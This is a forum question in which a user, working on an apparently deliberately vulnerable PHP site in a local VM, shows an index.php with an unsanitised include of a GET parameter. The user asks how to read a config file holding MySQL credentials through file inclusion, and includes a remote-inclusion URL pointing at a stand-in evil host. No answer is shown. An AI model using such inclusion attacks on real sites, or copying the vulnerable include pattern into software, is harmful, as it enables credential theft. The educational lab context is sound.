PHP security exploit - list content of remote PHP file?

Question

I'm trying to exploit some web vulnerabilities in a sample website running inside a VM (it is not available on the web - only for educational purposes). I have a php file named setupreset.php which has the information about MySQL configs, setup and passwords used to setup the website. This is in the same directory as the rest of the php files (index, products, forum, etc...).

This is the code of index.php, for reference:

<?php
include ("includes/header.php");
// Grab inputs
$page = $_GET[page];
if ($page=="") {
    include("home.html"); 
} else { include ($page . '.php'); } 
include ("includes/footer.php");
?>

The main goal is to list the contents of the setupreset PHP file, or download it somehow. If I navigate to this file: http://10.211.55.5/index.php?page=setupreset, it gets executed, but the PHP code is naturally not shown, due to the fact that it is parsed by the PHP interpreter.

Now, the website uses PHP includes, so URLs look like this: http://10.211.55.5/index.php?page=products. This seems like it's vulnerable to remote file inclusion, where I could simply point to another PHP page, e.g. http://10.211.55.5/index.php?page=http://badwebsite.com/myevilscript.php but allow_url_include is off and cannot be changed, so this won't work (I tried this). However, allow_url_fopen is likely on (since it's on by default), so my question is the following: is it possible to upload a PHP file or some script that lists the content of setupreset.php using this kind of exploit?